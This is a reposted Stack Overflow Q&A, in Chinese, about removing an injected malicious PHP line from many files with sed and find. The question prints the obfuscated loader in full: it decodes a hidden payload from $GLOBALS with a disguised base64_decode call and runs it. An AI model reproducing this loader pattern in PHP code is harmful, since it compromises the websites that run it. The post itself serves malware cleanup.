gpt4 book ai didi

linux - Bash 在用 sed 删除行后插入字符串

转载 作者:太空宇宙 更新时间:2023-11-04 09:14:30 24 4
gpt4 key购买 nike

我想删除这些行,因为它是一个注入(inject)代码:

if (!function_exists('openNewOFormatCall')){function openNewOFormatCall($a, $b){$c=$GLOBALS[' '];$d=pack('H*','6261736536345f64'.'65636f6465'); return $d(substr($c, $a, $b));};$useGitFallYCutCodeU=openNewOFormatCall(3851,20);$useGitFallYCutCodeU("", openNewOFormatCall(3873, 3).openNewOFormatCall(565,3283).openNewOFormatCall(3879, 3));};?><?php

我当然可以用语法删除那行:

find -iname "*.php" -exec sed -i '/openNewOFormatCall/d' {} \;

问题是,它还会删除末尾的附加字符 <?php这是 php 文件正常工作所必需的。所以我想删除这一行并添加新的 <?php之后。

请指教。

最佳答案

只需使用:

sed 's/.*openNewOFormatCall.*/<?php/' file

如果 ?> 后面的部分是可变的:

sed -r 's/..*openNewOFormatCall.*\?>(.*)/\1/' file

问号需要屏蔽。 (.*) 捕获了 ?> 之后的内容。\1 是对捕获内容的反向引用。

如果它有效,并且在备份有值(value)的数据之后,您将使用 -i 运行它以进行适当的修改,就像您的示例中一样:

find -iname "*.php" -exec sed -i -r 's/..*openNewOFormatCall.*\?>(.*)/\1/' {} \;

关于linux - Bash 在用 sed 删除行后插入字符串,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/49706359/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com